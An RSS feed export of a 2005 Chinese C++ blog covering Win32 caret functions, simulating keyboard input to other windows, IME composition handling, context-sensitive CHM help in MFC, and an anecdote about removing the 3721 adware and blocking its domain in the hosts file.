<img src ="http://www.cppblog.com/aqazero/aggbug/14186.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/aqazero/" target="_blank">brent</a> 2005-12-30 17:51 <a href="http://www.cppblog.com/aqazero/archive/2005/12/30/14186.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>关于键盘输入和输入法的记录</title><link>http://www.cppblog.com/aqazero/archive/2005/12/19/14193.html</link><dc:creator>brent</dc:creator><author>brent</author><pubDate>Mon, 19 Dec 2005 07:10:00 GMT</pubDate><guid>http://www.cppblog.com/aqazero/archive/2005/12/19/14193.html</guid><wfw:comment>http://www.cppblog.com/aqazero/comments/14193.html</wfw:comment><comments>http://www.cppblog.com/aqazero/archive/2005/12/19/14193.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.cppblog.com/aqazero/comments/commentRss/14193.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/aqazero/services/trackbacks/14193.html</trackback:ping><description><![CDATA[
		<img height="1" src="http://www.cnitblog.com/Raistlin/aggbug/5592.html" width="1" />
		<strong>关于光标的一些函数<br /></strong>BOOL CreateCaret(HWND hWnd,HBITMAP hBitmap,int nWidth,int nHeight);为窗口创建光标<br />BOOL DestroyCaret();销毁光标<br />UINT GetCaretBlinkTime();光标闪烁间隔时间<br />BOOL GetCaretPos(LPPOINT lpPoint);光标在当前窗口的client位置<br />BOOL HideCaret(HWND hWnd);隐藏<br />BOOL SetCaretBlinkTime(UINT uMSeconds);光标闪烁间隔时间<br />BOOL SetCaretPos(int X,int Y);位置<br />BOOL ShowCaret(HWND hWnd);显示<br /><br />CWnd::CreateCaret<br />CWnd::CreateSolidCaret<br />CWnd::CreateGrayCaret<br />CWnd::GetCaretPos<br />CWnd::SetCaretPos<br />CWnd::HideCaret<br />CWnd::ShowCaret<br /><br /><strong>为其它进程模拟输入字符：</strong><br />摘自<a href="http://www.pcbookcn.com/article/1113.htm">http://www.pcbookcn.com/article/1113.htm</a><br />　　首先要知道在Windows系统中与键盘按键相关的消息有：WM_KEYDOWN、WM_KEYUP、 WM_SYSKEYDOWN、WM_SYSKEYUP、WM_CHAR等。其中，WM_KEYDOWN为键按下，WM_KEYUP为键弹起，WM_SYSKEYDOWN为系统键按下，WM_SYSKEYUP为系统键弹起，WM_CHAR为按键对应的字符。<br />　　要模拟键盘产生键盘消息，我们就发送一条键盘消息给指定窗口。比如要模拟一个字母键“A”，可以这样:PostMessage(hWnd, WM_CHAR, 'A', 0); 模拟按一个回车：PostMessage(hWnd, WM_KEYDOWN, VK_RETURN, 0)。这里的关键问题是要确定窗口句柄（hWnd），使用GetFocus()函数可以得到键盘光标所在窗口句柄，但该函数只能得到当前进程内的窗口句柄。<br />　　如果要得到其他应用程序的键盘光标所在窗口句柄，需要调用 AttachThreadInput()函数。该函数的作用就是将其他窗口线程的输入附加到本窗口线程的输入操作中，这样就可以调用GetFocus()函数得到其他窗口的句柄了。<br /><br />AttachThreadInput()函数的原形如下: <br /><div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align="top" /><span style="COLOR: #000000">BOOL AttachThreadInput( <br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align="top" />DWORD idAttach, </span><span style="COLOR: #008000">//</span><span style="COLOR: #008000"> 需要附加的线程ID </span><span style="COLOR: #008000"><br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align="top" /></span><span style="COLOR: #000000">DWORD idAttachTo, </span><span style="COLOR: #008000">//</span><span style="COLOR: #008000"> 附加到的线程ID </span><span style="COLOR: #008000"><br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align="top" /></span><span style="COLOR: #000000">BOOL fAttach </span><span style="COLOR: #008000">//</span><span style="COLOR: #008000"> true 附加 false 取消 </span><span style="COLOR: #008000"><br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align="top" /></span><span style="COLOR: #000000">); </span></div>函数使用的过程大致如下: <br /><div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align="top" /><span style="COLOR: #000000">HWND hWnd; <br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align="top" />hWnd </span><span style="COLOR: #000000">=</span><span style="COLOR: #000000"> GetForegroundWindow(); </span><span style="COLOR: #008000">//</span><span style="COLOR: #008000"> 得到当前窗口 </span><span style="COLOR: #008000"><br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align="top" /></span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000"> (hWnd </span><span style="COLOR: #000000">==</span><span style="COLOR: #000000"> Form1</span><span style="COLOR: #000000">-&gt;</span><span style="COLOR: #000000">Handle) </span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000">; </span><span style="COLOR: #008000">//</span><span style="COLOR: #008000"> 排除程序本身的窗口 </span><span style="COLOR: #008000"><br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align="top" /></span><span style="COLOR: #000000">DWORD FormThreadID </span><span style="COLOR: #000000">=</span><span style="COLOR: #000000"> GetCurrentThreadId(); </span><span style="COLOR: #008000">//</span><span style="COLOR: #008000"> 本程序的线程ID <br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align="top" /></span><span style="COLOR: #008000">//</span><span style="COLOR: #008000"> 当前窗口的线程ID </span><span style="COLOR: #008000"><br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align="top" /></span><span style="COLOR: #000000">DWORD CWndThreadID </span><span style="COLOR: #000000">=</span><span style="COLOR: #000000"> GetWindowThreadProcessId(hWnd, NULL); <br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align="top" /></span><span style="COLOR: #008000">//</span><span style="COLOR: #008000"> 附加输入线程 </span><span style="COLOR: #008000"><br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align="top" /></span><span style="COLOR: #000000">AttachThreadInput(CWndThreadID, FormThreadID, </span><span style="COLOR: #0000ff">true</span><span style="COLOR: #000000">); <br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align="top" /></span><span style="COLOR: #008000">//</span><span style="COLOR: #008000"> 得到当前键盘光标所在的窗口 </span><span style="COLOR: #008000"><br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align="top" /></span><span style="COLOR: #000000">hWnd </span><span style="COLOR: #000000">=</span><span style="COLOR: #000000"> GetFocus(); <br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align="top" /></span><span style="COLOR: #008000">//</span><span style="COLOR: #008000"> 取消附加的输入线程 </span><span style="COLOR: #008000"><br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align="top" /></span><span style="COLOR: #000000">AttachThreadInput(CWndThreadID, FormThreadID, </span><span style="COLOR: #0000ff">false</span><span style="COLOR: #000000">); <br /></span></div>hWnd就是当前键盘光标所在的窗口句柄。另外，经过测试发现，在Windows2000系统下发送字符消息（WM_CHAR）时，如果字符是一个汉字，则该字符对应的虚拟键盘码高位不为0，这样得到的字符就不正确。解决办法是做一个“与”运算: ch &amp; 0xFF就可以了。 <br /><br /><br /><strong>输入法的切换:</strong><br />WM_INPUTLANGCHANGE<br />platform sdk=&gt;User Interface Servic=&gt;windowing=&gt;windows=&gt;window reference =&gt;Messages<br /><br /><strong>关于输入法:</strong><br />platform sdk=&gt;Windows Base Services=&gt;International Features=&gt;Input Method Editor<br /><br /><br /><strong>自己处理键盘输入要做的事：<br /></strong>如果你要自己处理键盘和输入法的输入而不用Eidt或richedit等控件的话，至少需要做以下处理以下消息WM_IME_STARTCOMPOSITION;WM_IME_ENDCOMPOSITION;WM_IME_COMPOSITION;<br /><div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align="top" /><span style="COLOR: #000000">LRESULT CCaretStudyView::OnImeStartComposition(WPARAM wParam, LPARAM lParam)<br /><img id="Codehighlighter1_77_492_Open_Image" onclick="this.style.display='none'; Codehighlighter1_77_492_Open_Text.style.display='none'; Codehighlighter1_77_492_Closed_Image.style.display='inline'; Codehighlighter1_77_492_Closed_Text.style.display='inline';" src="http://www.cnitblog.com/Images/OutliningIndicators/ExpandedBlockStart.gif" align="top" /><img id="Codehighlighter1_77_492_Closed_Image" style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_77_492_Closed_Text.style.display='none'; Codehighlighter1_77_492_Open_Image.style.display='inline'; Codehighlighter1_77_492_Open_Text.style.display='inline';" src="http://www.cnitblog.com/Images/OutliningIndicators/ContractedBlock.gif" align="top" /></span><span id="Codehighlighter1_77_492_Closed_Text" style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff"><img src="http://www.cnitblog.com/Images/dot.gif" /></span><span id="Codehighlighter1_77_492_Open_Text"><span style="COLOR: #000000">{<br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/InBlock.gif" align="top" />    HIMC hIMC </span><span style="COLOR: #000000">=</span><span style="COLOR: #000000"> ::ImmGetContext(m_hWnd);<br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/InBlock.gif" align="top" />    COMPOSITIONFORM CompForm;<br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/InBlock.gif" align="top" />    CompForm.dwStyle </span><span style="COLOR: #000000">=</span><span style="COLOR: #000000"> CFS_POINT;<br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/InBlock.gif" align="top" />    CompForm.ptCurrentPos.x </span><span style="COLOR: #000000">=</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">10</span><span style="COLOR: #000000">;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">用实际的值代替</span><span style="COLOR: #008000"><br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/InBlock.gif" align="top" /></span><span style="COLOR: #000000">    CompForm.ptCurrentPos.y </span><span style="COLOR: #000000">=</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">10</span><span style="COLOR: #000000">;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">用实际的值代替</span><span style="COLOR: #008000"><br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/InBlock.gif" align="top" /></span><span style="COLOR: #000000">    ::ImmSetCompositionWindow(hIMC, </span><span style="COLOR: #000000">&amp;</span><span style="COLOR: #000000">CompForm);<br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/InBlock.gif" align="top" />    </span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">DropCaret();可在此处隐藏光标，在OnImeEndComposition消息处理中再显示光标</span><span style="COLOR: #008000"><br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/InBlock.gif" align="top" /></span><span style="COLOR: #000000">    ::ImmReleaseContext(m_hWnd, hIMC);<br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/InBlock.gif" align="top" />    </span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000"> ::DefWindowProc(m_hWnd, WM_IME_STARTCOMPOSITION, wParam, lParam);<br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/ExpandedBlockEnd.gif" align="top" />}</span></span><span style="COLOR: #000000"><br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align="top" /><br /><img id="Codehighlighter1_542_602_Open_Image" onclick="this.style.display='none'; Codehighlighter1_542_602_Open_Text.style.display='none'; Codehighlighter1_542_602_Closed_Image.style.display='inline'; Codehighlighter1_542_602_Closed_Text.style.display='inline';" src="http://www.cnitblog.com/Images/OutliningIndicators/ExpandedBlockStart.gif" align="top" /><img id="Codehighlighter1_542_602_Closed_Image" style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_542_602_Closed_Text.style.display='none'; Codehighlighter1_542_602_Open_Image.style.display='inline'; Codehighlighter1_542_602_Open_Text.style.display='inline';" src="http://www.cnitblog.com/Images/OutliningIndicators/ContractedBlock.gif" align="top" />LRESULT CCaretStudyView::OnImeEndComposition() </span><span id="Codehighlighter1_542_602_Closed_Text" style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff"><img src="http://www.cnitblog.com/Images/dot.gif" /></span><span id="Codehighlighter1_542_602_Open_Text"><span style="COLOR: #000000">{<br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/InBlock.gif" align="top" />    </span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">ShowCaretAtCurrentPosition();</span><span style="COLOR: #008000"><br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/InBlock.gif" align="top" /></span><span style="COLOR: #000000">    </span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000"> Default();<br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/ExpandedBlockEnd.gif" align="top" />}</span></span><span style="COLOR: #000000"><br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align="top" /><br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align="top" />LRESULT CCaretStudyView::OnImeComposition(WPARAM wParam, LPARAM lParam)<br /><img id="Codehighlighter1_677_1288_Open_Image" onclick="this.style.display='none'; Codehighlighter1_677_1288_Open_Text.style.display='none'; Codehighlighter1_677_1288_Closed_Image.style.display='inline'; Codehighlighter1_677_1288_Closed_Text.style.display='inline';" src="http://www.cnitblog.com/Images/OutliningIndicators/ExpandedBlockStart.gif" align="top" /><img id="Codehighlighter1_677_1288_Closed_Image" style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_677_1288_Closed_Text.style.display='none'; Codehighlighter1_677_1288_Open_Image.style.display='inline'; Codehighlighter1_677_1288_Open_Text.style.display='inline';" src="http://www.cnitblog.com/Images/OutliningIndicators/ContractedBlock.gif" align="top" /></span><span id="Codehighlighter1_677_1288_Closed_Text" style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff"><img src="http://www.cnitblog.com/Images/dot.gif" /></span><span id="Codehighlighter1_677_1288_Open_Text"><span style="COLOR: #000000">{<br /><img id="Codehighlighter1_708_1267_Open_Image" onclick="this.style.display='none'; Codehighlighter1_708_1267_Open_Text.style.display='none'; Codehighlighter1_708_1267_Closed_Image.style.display='inline'; Codehighlighter1_708_1267_Closed_Text.style.display='inline';" src="http://www.cnitblog.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif" align="top" /><img id="Codehighlighter1_708_1267_Closed_Image" style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_708_1267_Closed_Text.style.display='none'; Codehighlighter1_708_1267_Open_Image.style.display='inline'; Codehighlighter1_708_1267_Open_Text.style.display='inline';" src="http://www.cnitblog.com/Images/OutliningIndicators/ContractedSubBlock.gif" align="top" />    </span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000"> (lParam </span><span style="COLOR: #000000">&amp;</span><span style="COLOR: #000000"> GCS_RESULTSTR) </span><span id="Codehighlighter1_708_1267_Closed_Text" style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff"><img src="http://www.cnitblog.com/Images/dot.gif" /></span><span id="Codehighlighter1_708_1267_Open_Text"><span style="COLOR: #000000">{<br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/InBlock.gif" align="top" />        </span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">get result text</span><span style="COLOR: #008000"><br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/InBlock.gif" align="top" /></span><span style="COLOR: #000000">        HIMC hIMC </span><span style="COLOR: #000000">=</span><span style="COLOR: #000000"> ::ImmGetContext(m_hWnd);<br /><img id="Codehighlighter1_781_1252_Open_Image" onclick="this.style.display='none'; Codehighlighter1_781_1252_Open_Text.style.display='none'; Codehighlighter1_781_1252_Closed_Image.style.display='inline'; Codehighlighter1_781_1252_Closed_Text.style.display='inline';" src="http://www.cnitblog.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif" align="top" /><img id="Codehighlighter1_781_1252_Closed_Image" style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_781_1252_Closed_Text.style.display='none'; Codehighlighter1_781_1252_Open_Image.style.display='inline'; Codehighlighter1_781_1252_Open_Text.style.display='inline';" src="http://www.cnitblog.com/Images/OutliningIndicators/ContractedSubBlock.gif" align="top" />        </span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000"> (hIMC) </span><span id="Codehighlighter1_781_1252_Closed_Text" style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff"><img src="http://www.cnitblog.com/Images/dot.gif" /></span><span id="Codehighlighter1_781_1252_Open_Text"><span style="COLOR: #000000">{<br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/InBlock.gif" align="top" />            </span><span style="COLOR: #0000ff">const</span><span style="COLOR: #000000"> </span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000"> maxLenInputIME </span><span style="COLOR: #000000">=</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">200</span><span style="COLOR: #000000">;<br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/InBlock.gif" align="top" />            wchar_t wcs[maxLenInputIME];<br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/InBlock.gif" align="top" />            LONG bytes </span><span style="COLOR: #000000">=</span><span style="COLOR: #000000"> ::ImmGetCompositionStringW(hIMC,<br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/InBlock.gif" align="top" />                    GCS_RESULTSTR, wcs, (maxLenInputIME</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">)</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">2</span><span style="COLOR: #000000">);<br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/InBlock.gif" align="top" />            </span><span style="COLOR: #008000">//</span><span style="COLOR: #008000"><img src="http://www.cnitblog.com/Images/dot.gif" /><img src="http://www.cnitblog.com/Images/dot.gif" /><br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/InBlock.gif" align="top" />            </span><span style="COLOR: #008000">//</span><span style="COLOR: #008000"> Set new position after converted</span><span style="COLOR: #008000"><br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/InBlock.gif" align="top" /></span><span style="COLOR: #000000">            CPoint pos </span><span style="COLOR: #000000">=</span><span style="COLOR: #000000"> GetCurrentPos();<br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/InBlock.gif" align="top" />            COMPOSITIONFORM CompForm;<br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/InBlock.gif" align="top" />            CompForm.dwStyle </span><span style="COLOR: #000000">=</span><span style="COLOR: #000000"> CFS_POINT;<br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/InBlock.gif" align="top" />            CompForm.ptCurrentPos.x </span><span style="COLOR: #000000">=</span><span style="COLOR: #000000"> pos.x;<br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/InBlock.gif" align="top" />            CompForm.ptCurrentPos.y </span><span style="COLOR: #000000">=</span><span style="COLOR: #000000"> pos.y;<br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/InBlock.gif" align="top" />            ::ImmSetCompositionWindow(hIMC, </span><span style="COLOR: #000000">&amp;</span><span style="COLOR: #000000">CompForm);<br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/InBlock.gif" align="top" />            ::ImmReleaseContext(m_hWnd, hIMC);<br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/ExpandedSubBlockEnd.gif" align="top" />        }</span></span><span style="COLOR: #000000"><br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/InBlock.gif" align="top" />        </span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">;<br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/ExpandedSubBlockEnd.gif" align="top" />    }</span></span><span style="COLOR: #000000"><br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/InBlock.gif" align="top" />    </span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000"> Default();<br /><img src="http://www.cnitblog.com/Images/OutliningIndicators/ExpandedBlockEnd.gif" align="top" />}</span></span></div>以上三个消息是不做处理也可以，只不过不会支持如微软拼音输入法的跟随功能。<br /><br />并WM_IME_CHAR和WM_CHAR添加字符。在WM_KEYDOWN中处理特殊字符，如VK_BACK VK_DELTE<img src ="http://www.cppblog.com/aqazero/aggbug/14193.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/aqazero/" target="_blank">brent</a> 2005-12-19 15:10 <a href="http://www.cppblog.com/aqazero/archive/2005/12/19/14193.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>VC程序使用chm帮助文件</title><link>http://www.cppblog.com/aqazero/archive/2005/12/19/14194.html</link><dc:creator>brent</dc:creator><author>brent</author><pubDate>Mon, 19 Dec 2005 01:30:00 GMT</pubDate><guid>http://www.cppblog.com/aqazero/archive/2005/12/19/14194.html</guid><wfw:comment>http://www.cppblog.com/aqazero/comments/14194.html</wfw:comment><comments>http://www.cppblog.com/aqazero/archive/2005/12/19/14194.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/aqazero/comments/commentRss/14194.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/aqazero/services/trackbacks/14194.html</trackback:ping><description><![CDATA[   最近在做一个安装程序。想要弄一个上下文相关帮助。<br />    一开始想用vc6自带的上下文相关帮助。在建立工程的时候选择context-sensitive help即可。嗯，vc帮我创建了AfxDlg.rtf、setup.cnt、setup.hm、setup.hpj、setup.ph等文件，以为省事了，用word打开AfxDlg.rtf一看，完全不会编辑。看了《inside visual c++》里面的文章，还是一头雾水。<br />    winhelp这老掉牙的东西，在win98年代就被htmlhelp淘汰了，俺还用它干嘛？决定弃暗投明，使用html help workshop来做帮助。html help workshop是一款制作chm文件的工具，微软免费提供，到处有的下。使用起来也方便，比编辑rtf格式要方便多得多，基本方法是把制作好的网页往里面塞，不浪费口舌了。 
<div><br />    用html help workshop制作chm是方便，关键是怎么让它可以"上下文相关"。程序里调用chm帮组文件的api是<br />    HWND HtmlHelp(HWND hwndCaller, LPCSTR pszFile, UINT uCommand, DWORD dwData); <br />    更改App类的WinHelp()方法如下：<br /> void CSetupApp::WinHelp(DWORD dwData, UINT nCmd) <br /> {<br />  ::HtmlHelp(NULL, "E:\\workshop\\setup\\hlp\\chmtest.chm", HH_HELP_CONTEXT, dwData);<br /> }<br />    具体文件在哪需要具体分析。这里要说的是这个dwData可是很有来头的，设个断点就可以看个清楚了：<br /> ID_HELP命令的消息路径是：<br /> CWnd::OnWndMsg()<br /> CDialog::OnCommandHelp()</div><div> LRESULT CDialog::OnCommandHelp(WPARAM, LPARAM lParam)<br /> {<br />  if (lParam == 0 &amp;&amp; m_nIDHelp != 0)<br />   lParam = HID_BASE_RESOURCE + m_nIDHelp;//m_nIDHelp就是你的对话框的id哦<br />  if (lParam != 0)<br />  {<br />   CWinApp* pApp = AfxGetApp();<br />   if (pApp != NULL)<br />    pApp-&gt;WinHelp(lParam);//</div><div>   return TRUE;<br />  }<br />  return FALSE;<br /> }</div><div> </div><div>如何写CHM:<br />    现在要做的就是把dwData和想要显示的东西关联起来。</div><div> 具体方法是：<br /> 1、使用记事本建立一个文本文件，文件名为Map.h。在该文件中输入下面的内容： <br /> #define TOPIC1 100 <br /> #define TOPIC2 200 <br /> 这里TOPIC1、TOPIC2是一些常量，100、200是你在API调用时指定的ContextID。 <br /> 2、在HTMLHelp Workshop中选择Project标签，点击HtmlHelp API information按钮，在对话框的Map标签中选择Header File按钮，然后选择你前面建立的Map.h文件。 <br /> 3、还是在HtmlHelp API information对话框中选择Alias标签，点击Add按钮，在对话框中的Whenever This Constant or number is passed to the HTMLHelp API下输入常量，如TOPIC1。 <br /> 4、在Use it to Refer to This HTML File中选择HTML文件，如Topic1.html。 <br /> 5、重复3、4两步指定所有文件。 <br /> 6、编译文件就可以了。 <br /> （转自<a href="http://www.china-askpro.com/msg44/qa78.shtml">http://www.china-askpro.com/msg44/qa78.shtml</a>）<br /> 具体的ContextID不是100，200啊，是HID_BASE_RESOURCE+对话框ID。<br /> 查找一下发现：#define HID_BASE_RESOURCE 0x00020000UL ，如果你的对话框ID值是0x0102那就该<br /> #define MYDLGID 0x20102了。</div><div>注：// Help ID bases（afxpriv.h）<br />#define HID_BASE_COMMAND    0x00010000UL        // ID and IDM <br />#define HID_BASE_RESOURCE   0x00020000UL        // IDR and IDD<br />#define HID_BASE_PROMPT     0x00030000UL        // IDP<br />#define HID_BASE_NCAREAS    0x00040000UL<br />#define HID_BASE_CONTROL    0x00050000UL        // IDC<br />#define HID_BASE_DISPATCH   0x00060000UL        // IDispatch help codes</div><div> </div><div>如何调用HtmlHelp:<br />   微软在提供html help workshop的时候提供了调用方法，就是在html help workshop的安装目录下提供了个头文件和静态库，这个库的作用是装载hhctrl.ocx(system32目录下)，调用其中真正的htmlhelp方法。具体见：<br /> <a href="http://www.yesky.com/SoftChannel/72342376173010944/20010409/165483.shtml"><font color="#003399">http://www.yesky.com/SoftChannel/72342376173010944/20010409/165483.shtml</font></a></div><img src ="http://www.cppblog.com/aqazero/aggbug/14194.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/aqazero/" target="_blank">brent</a> 2005-12-19 09:30 <a href="http://www.cppblog.com/aqazero/archive/2005/12/19/14194.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>宇宙无敌之无耻病毒</title><link>http://www.cppblog.com/aqazero/archive/2005/12/19/14218.html</link><dc:creator>brent</dc:creator><author>brent</author><pubDate>Mon, 19 Dec 2005 01:26:00 GMT</pubDate><guid>http://www.cppblog.com/aqazero/archive/2005/12/19/14218.html</guid><wfw:comment>http://www.cppblog.com/aqazero/comments/14218.html</wfw:comment><comments>http://www.cppblog.com/aqazero/archive/2005/12/19/14218.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/aqazero/comments/commentRss/14218.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/aqazero/services/trackbacks/14218.html</trackback:ping><description><![CDATA[
		<div>昨天lp的机器坏掉，叫我过去修。修好后看到她电脑上有个3721，我本人一向觉得3721这东西没用，就帮她卸载了，她电脑才128M内存，何必为没有用的东西浪费内存和CPU呢。</div>
		<div> </div>
		<div>本来这好好的，没什么事。可俺就有个坏习惯，查看了一下C:\winnt\downlo~1\目录下的文件。这个文件夹在Explorer下是隐藏的，只能在命令行模式下看。一看了不得啊，一堆垃圾，看都不看什么的，直接 del /q *.*。提示CnsHook.dll CnsMin.dll正在被使用，无法删除。打开任务管理器，看到一个rundll32.exe的进程。俺第一反应是中病毒了。虽然本人是菜鸟，但一向是疾恶如仇的。</div>
		<div> </div>
		<div>我想可能是这病毒开了两个进程互相监视，所以文件删除不掉。于是使尽浑身解术，修改注册表，重命名文件，强行删除文件，启动后进入安全模式。失败、失败！而且想找个启动盘居然没软驱。更可恨的，Norton居然对这个特大号病毒视而不见！</div>
		<div>彻底没辙，上网google了一下CnsHook.dll，找到一处，<a href="http://www.txsoft.cn/iso_details.asp?levelid=30.30&amp;ID=843" rel="nofollow"><font color="#003399">高手清除病毒的过程</font></a>。深受教育，原来此病毒就是大名鼎鼎的3721啊，我立马被恶心得想吐，对此公司的超级无耻有了更深刻的认识。</div>
		<div> </div>
		<div>俺对lp说：奇怪居然没人去告这个公司，如此明目张胆的散播病毒，还有没有王法了。</div>
		<div>lp笑着说：据说这个公司的老总和xxx是亲戚呢。</div>
		<div>俺大悟，原来如此，同时对lp的消息如此灵通表示崇拜。</div>
		<div> </div>
		<div>删除完该病毒后，俺庄严的在lp的配置文件C:\winnt\system32\drivers\etc\host后添加:</div>
		<div>127.0.0.1 www.3721.com</div>
		<div>希望世界从此清静了...能吗?或许不能，但请让我把这个恶心的名称永远钉在耻辱柱上！</div>
